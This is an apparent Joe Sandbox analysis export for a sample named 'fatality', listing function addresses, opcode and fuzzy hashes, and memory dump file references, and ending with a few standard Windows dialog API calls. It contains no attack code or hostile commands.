Opcode ID: 1eea809ff47755f36f4d44d512b906b218fed69a3a009f451abeb400a6c7ed6b
Instruction ID: 82cd4cb51cb98265152c2b322181ba8d138886b9f3fe35800df9cd71db65d83d
Opcode Fuzzy Hash: 1eea809ff47755f36f4d44d512b906b218fed69a3a009f451abeb400a6c7ed6b
Instruction Fuzzy Hash: D2314631559397AFCB328E3884A13C7BFE2AF562013E65AAFC4C48B406D72154C7DB86

Function 00DF62CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c97f2002aada7871dd217f58149a810aa8f2f5665f5defa00c375d1f9d6c32
Instruction ID: 288d6bb1cd393a8da89a677d7b260b3f338001a5623474e109417b06ca9a4687
Opcode Fuzzy Hash: 65c97f2002aada7871dd217f58149a810aa8f2f5665f5defa00c375d1f9d6c32
Instruction Fuzzy Hash: 5962F7716047889FCB25CF38C4906B9BBE1AF95304F09C96DE9EA8B746D730E945CB21

Function 00DF77EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769efa0c42816c00807ca40c49ef6cd4ce15f8447bc3c105b5c28df9457f4b61
Instruction ID: b5c2b3a818d7393cae4c6dc2af02d773df84de09aa14dc65c1d060026b1ea6b1
Opcode Fuzzy Hash: 769efa0c42816c00807ca40c49ef6cd4ce15f8447bc3c105b5c28df9457f4b61
Instruction Fuzzy Hash: FC62C8716083898FCB15CF2CC8909B9BBE1BF95304F19C96DE99A8B346D730E945CB25

Function 00DEF461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3d0d950fd7afa08d42f26ba2b9a0a54462d0b528b3535cfd4003d3773fe981
Instruction ID: 362b6cee11cc8c558b0532ed570eefa3dcce8730565079bdfbb084b955b94128
Opcode Fuzzy Hash: 1d3d0d950fd7afa08d42f26ba2b9a0a54462d0b528b3535cfd4003d3773fe981
Instruction Fuzzy Hash: 43525A72A087018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 00DF7153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cc3a881d4c49c829d537218a1bbe895fe1310e69b3dd98a05b13f72e7d8cfe
Instruction ID: 11cd2e1f06fc35f3b606611d720f8341c862b08d1a6ac6955ebc46e89953794d
Opcode Fuzzy Hash: 33cc3a881d4c49c829d537218a1bbe895fe1310e69b3dd98a05b13f72e7d8cfe
Instruction Fuzzy Hash: 4412E4B061870A9FC718CF28C890AB9B7E1FF94304F15892EEA96C7780D374E995CB55

Function 00DEC426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c0dcc9208b2d906f86d9d94c69198743e7a84fc5dd2667863a6fa7fdb56aac
Instruction ID: 655e507aea633073d962bdfd0a7e8609e2921f714c39e3404a187b70adc603d2
Opcode Fuzzy Hash: 00c0dcc9208b2d906f86d9d94c69198743e7a84fc5dd2667863a6fa7fdb56aac
Instruction Fuzzy Hash: 00F1AF716183818FC714EF2AC98462EBBE5EFC9314F146A2EF4C597262D630D946CF62

Function 00DF6CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 511b6cba4eb2493a74034e7d7319b982f1757d5d2a7b7c5960917c35b0edb353
Instruction ID: 1cd6b5476ab4395e0bd6b6bd7ad581f28b68b00f19cb6814fccb0aa13816ca69
Opcode Fuzzy Hash: 511b6cba4eb2493a74034e7d7319b982f1757d5d2a7b7c5960917c35b0edb353
Instruction Fuzzy Hash: 50D1B6716083498FDB14CF28C8407ABBBE1FF85308F0A856DFA859B642D774E945CB66

Function 00DEE9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c256798a536b04b9911625dcc95db149f3c2cc7e333ba84962b1c285b3e37f
Instruction ID: 90f78863e07f1b5b44ccbe247f97fc13f4d954c5a28415a8f205cbf78c3d961d
Opcode Fuzzy Hash: 02c256798a536b04b9911625dcc95db149f3c2cc7e333ba84962b1c285b3e37f
Instruction Fuzzy Hash: 23E15E755083948FC314CF5AD89086ABFF0AF9A300F45095EF9D4A7352C235E91ADFA6

Function 00DF4088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4284e20d82a4b4c8963c31289ec35e57d4b4c7b0c1d89691f26fd4da53ff202
Instruction ID: 4502d8dce26eed40a1f7ed61d2047e742d62bceb29bc9bc61850f5a3e18ced18
Opcode Fuzzy Hash: c4284e20d82a4b4c8963c31289ec35e57d4b4c7b0c1d89691f26fd4da53ff202
Instruction Fuzzy Hash: B39159B020038E9BD724EF68D890BBF77D4EB50304F15892CEB9A87281DA64A585C372

Function 00DF43BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: aeb63b3dd3f6194a7dcea32235b87b9dd5564a820f9fce56a9872a030effcace
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: CB812F7170438A5BDB24EE6CD8D1BBF37D4EB90304F05892DE7CA8B282DA64D9858771

Function 00E051C9 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fd62dd51958edeec462a35007a909ff0686b4a8df02bb75a51c409c38096c7c
Instruction ID: 4567be2fbf763a3d8fd94415fe9aa6d001e289f59b5347239a57c76d3d333daa
Opcode Fuzzy Hash: 2fd62dd51958edeec462a35007a909ff0686b4a8df02bb75a51c409c38096c7c
Instruction Fuzzy Hash: 2E616873600F0966DE389A6868957FF23A4EF12348F14391AE443FF2E1D2599DC28E15

Function 05256069 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2056870207.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5250000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de20917090501bf146550b08cbabfa460931fe278b619aeb5325fc6fafbd11e0
Instruction ID: 1add3e50e497c1dcd0f28c0ccde3879c20220cabb01a2284c1f8b517210545db
Opcode Fuzzy Hash: de20917090501bf146550b08cbabfa460931fe278b619aeb5325fc6fafbd11e0
Instruction Fuzzy Hash: 48816C76D0122A8FCB65CF64CD48A9DB7B9BF44750F154299D80EA3254EB30AE85CF81

Function 05256393 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2056870207.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5250000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db749ab48f145b9f25fa29de45a0be3c2f89a8b2756418baa03d10edf6e5943
Instruction ID: 861f614393fda6ceb178b22257a288a5f391ac282d49757660ec12a5ee0927a2
Opcode Fuzzy Hash: 5db749ab48f145b9f25fa29de45a0be3c2f89a8b2756418baa03d10edf6e5943
Instruction Fuzzy Hash: B8613D75D0522A8BCF65DF28CD88699BBB9BF44740F1042E9E81EA3254EB309E85CF51

Function 00DEEFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6ae80224432dd5d7b2d8a0cdf5cc37334fb2499a6d2045810b5794446211e04
Instruction ID: aa2730e9e38f87dde89965e45ef6c88fbdb779571ecce30f9534fae060d9f617
Opcode Fuzzy Hash: f6ae80224432dd5d7b2d8a0cdf5cc37334fb2499a6d2045810b5794446211e04
Instruction Fuzzy Hash: 7851C3315093D58FD712DF25C5405AEBFE0AE9A314F4909AEE8D95B243C221DB4ACB72

Function 00DFF654 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd11a7780b97373e58bd377f3e9c9fecdf6f90d79a2a4f0f3742fe392c4fa2ac
Instruction ID: 788211c527ee8c282a6d3690996af8753b7b64bf503c4a029140bca5d9e7d9a6
Opcode Fuzzy Hash: fd11a7780b97373e58bd377f3e9c9fecdf6f90d79a2a4f0f3742fe392c4fa2ac
Instruction Fuzzy Hash: A6519EB1D006098FEB25CF55E8817AABBF0FB88344F29C46AD901FB390D3749945CB60

Function 00DF00B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b88dc219f9430997c587fdcba6efa28bdfe8936948f3636732a6b4d3fbfc17f7
Instruction ID: 4ae7409887401b00f4df7ee7653049e943dfcf2c00377d7ae3777e0a2a31f897
Opcode Fuzzy Hash: b88dc219f9430997c587fdcba6efa28bdfe8936948f3636732a6b4d3fbfc17f7
Instruction Fuzzy Hash: 0A51D0B1A087159FC748CF19D48055AFBE1FF88314F058A2EE899E3341DB34E959CB96

Function 00DF3E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: 3c6587b05f38946549d2b8878119e6107b08e3beeae0a58f7b50f530366ff514
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: D43107B1A1474A8FCB18EF28C89116ABBE0FF95304F55852DE589C7341C734EA4ACBA1

Function 00DFC220 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 286windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00DE1316: GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
Part of subcall function 00DE1316: SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00DFC2B1
EndDialog.USER32(?,00000006), ref: 00DFC2C4
GetDlgItem.USER32(?,0000006C), ref: 00DFC2E0
SetFocus.USER32(00000000), ref: 00DFC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00DFC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00DFC358
_swprintf.LIBCMT ref: 00DFC404
